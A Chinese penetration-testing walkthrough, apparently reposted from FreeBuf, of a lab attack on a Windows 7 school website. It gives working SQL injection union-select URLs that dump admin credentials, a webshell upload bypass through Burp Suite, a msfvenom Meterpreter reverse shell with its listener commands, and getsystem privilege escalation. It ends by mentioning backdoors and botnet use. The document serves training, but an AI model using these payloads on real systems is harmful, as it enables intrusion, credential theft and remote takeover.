前言
很多安全人新入門時,都需要在特定的靶場進行學(xué)習(xí),今天老李給大家找了一篇關(guān)于網(wǎng)站拿webshell的全部過程。當(dāng)然了,文章中所有的操作都是基于靶場進行了,小伙伴可以找相關(guān)的測試用例,但是千萬不對真實的網(wǎng)站進行攻擊。
準(zhǔn)備工作
靶機(被攻擊方):win7系統(tǒng)
入侵者(攻擊方):win10系統(tǒng)、kali系統(tǒng)
首先啟動win7系統(tǒng),搭建一個常見的校園網(wǎng)站,然后映射到局域網(wǎng),使得我們能正常訪問。
從網(wǎng)站拿到webshellsql注入漏洞
把整個網(wǎng)站瀏覽完一遍后,我們發(fā)現(xiàn)這里的url為?id=10結(jié)尾,我們猜測可能是一個sql注入點。
首先我們在id=10后面加上一個單引號’進行判斷。
這個時候我們發(fā)現(xiàn)回顯的數(shù)據(jù)不正常,于是我們再加一個注釋符號。
發(fā)現(xiàn)數(shù)據(jù)這個時候回顯的時候是正常的,到這一步我們已經(jīng)可以確定這里存在一個sql注入漏洞。
原理我們可以簡單解釋一下 在網(wǎng)站中,我們一般使用數(shù)據(jù)庫存儲網(wǎng)站數(shù)據(jù),網(wǎng)站和數(shù)據(jù)庫是存在一個交互性。網(wǎng)站所呈現(xiàn)的內(nèi)容是由代碼中寫入的sql語句調(diào)用數(shù)據(jù)庫中的內(nèi)容進行一個呈現(xiàn),例如我們剛剛看到的文字。 而sql注入漏洞一般是由于程序員書寫的sql語句不規(guī)范所導(dǎo)致的安全事件。
例如網(wǎng)站源碼中使用如下的sql語句進行查詢。
給語句結(jié)尾的where查詢條件加上一個單引號’。
很顯然,我們傳入的單引號和前面的單引號閉合,后面只有一個無法成對的單引號,然后報了語法錯誤。
這個時候我們再加上--+注釋符號注釋掉后面的單引號。
這個時候查詢的數(shù)據(jù)就會正確回顯出來。
原理簡單解釋了一下之后,我們回到剛剛的網(wǎng)站。
這個時候我們發(fā)現(xiàn)存在sql注入漏洞之后,我們就開始進行查詢對方網(wǎng)站數(shù)據(jù)庫的數(shù)據(jù),找到一些敏感信息,例如管理員的賬號密碼等等。
首先,我們使用order by語句快速猜解出表中的列數(shù)。
發(fā)現(xiàn)10列的時候報錯,說明不足10列,我們繼續(xù)縮小范圍。
再查詢第8列的時候,發(fā)現(xiàn)數(shù)據(jù)回顯正確,說明對方表中含有列數(shù)8
我們使用union select 自定義查詢測試一下,zhu意我們這里前面的id=10,要寫成id=-10,把這里的查詢置空。
發(fā)現(xiàn)會分別回顯第三列、第五列和第七列。接下來我們就可以在三、五、七處做做文章。
查詢數(shù)據(jù)庫名字:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,database(),4,5,6,7,8--+
得到數(shù)據(jù)庫名字:qzn_zuiai
查詢數(shù)據(jù)庫中的表名:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema="qzn_zuiai"--+
得到一共se2admin,se2fl,se2hd,se2nr,se2tufl,se2tunr,se2wz,se2zf,sj3sk九張表
通過表名,我們猜測se2admin可能是存儲管理員賬號和密碼的表,所以我們先查詢這張表中的數(shù)據(jù)
查詢表se2admin中的字段:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name="se2admin"--+
得到表中的字段值有id,name,pass等,接下來我們查詢name和pass的字段值。
查詢字段值:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,name,4,pass,6,7,8 from se2admin--+
我們得到管理員賬號:admin,管理員賬號密碼:
7fef6171469e80d32c0559f88b377245
很顯然密碼值是被加密的md5值,所以我們?nèi)ゾW(wǎng)上找md5網(wǎng)站進行撞庫查詢。
得到管理員密碼為:admin888
接下來我們需要查找這個網(wǎng)站的后臺地址,我們使用御劍進行一個掃描。
御劍爆出了很多敏感地址,我們找到一個admin的目錄,可能是后臺地址,我們?nèi)ピL問一下。
輸入我們剛剛得到的管理員賬號和密碼admin:admin888。
這個時候,我們成功進入對方網(wǎng)站后臺。
文件上傳漏洞
接下來我們再這里找到一個文件上傳點。
我們寫一個簡單的一句話木馬。
考慮到這里可能會對我們上傳的文件進行一個后綴限制,例如只能上傳jpg或者png圖片格式文件等,所以我們把muma.txt改成muma.jpg格式。
我們開啟burpsuite,然后點提交,攔截到我們發(fā)送的數(shù)據(jù)包。
我們把muma.jpg改回php文件類型:muma.php。
然后發(fā)送數(shù)據(jù)包。
ok,已經(jīng)上傳成功,我們?nèi)フ艺椅覀兩蟼骱蟮穆窂健?/p>
得到我們的上傳完整路徑為:http://192.168.1.167/yxlink/img/img_3699336993.php
我們使用蟻劍進行連接我們上傳的木馬。
成功連接,進入到對方服務(wù)器。
到此,已成功拿到webshell。
反彈shell連接
接下來我們利用kali的msf制作一個exe類型的反彈型木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 類型 -o 文件名
把做好的木馬,通過我們蟻劍剛剛連接的webshell進行上傳。
上傳成功后,我們在kali啟動msf。
執(zhí)行監(jiān)聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.131 set lport 4444 exploit
執(zhí)行木馬
msf開啟監(jiān)聽之后,我們?nèi)ハ亜ebshell執(zhí)行我們上傳的木馬。
執(zhí)行之后,回到kali,我們可以看到msf目標(biāo)正在回連,創(chuàng)建Meterpreter會話成功。
提權(quán)
首先查看一下我們的用戶權(quán)限。
發(fā)現(xiàn)是普通用戶權(quán)限,之前我們已經(jīng)在webshell觀察到對方是win7系統(tǒng),所以我們采用的是windows的載荷攻擊
我們嘗試使用getsystem進行提權(quán)試試。
發(fā)現(xiàn)直接提權(quán)成功,現(xiàn)在我們擁有windows最高權(quán)限system。
接下來我們打印一下系統(tǒng)信息,并且拍照對方電腦現(xiàn)在狀態(tài)。
ok,成功。
結(jié)語
在拿到system權(quán)限之后,我們可以干很多很多的事…例如給對方種下后門,拿來當(dāng)肉雞等等… …
這告訴我們開發(fā)網(wǎng)站必須注重安全,否則帶來的后果是無窮大的。
作者:dotast 原文地址:https://www.freebuf.com/articles/web/290214.html
再次聲明:本頭條號所分享內(nèi)容僅用于網(wǎng)安愛好者之間的技術(shù)討論,禁止用于違法途徑,所有滲透都需獲取授權(quán)!否則需自行承擔(dān),本頭條號及原作者不承擔(dān)相應(yīng)的后果.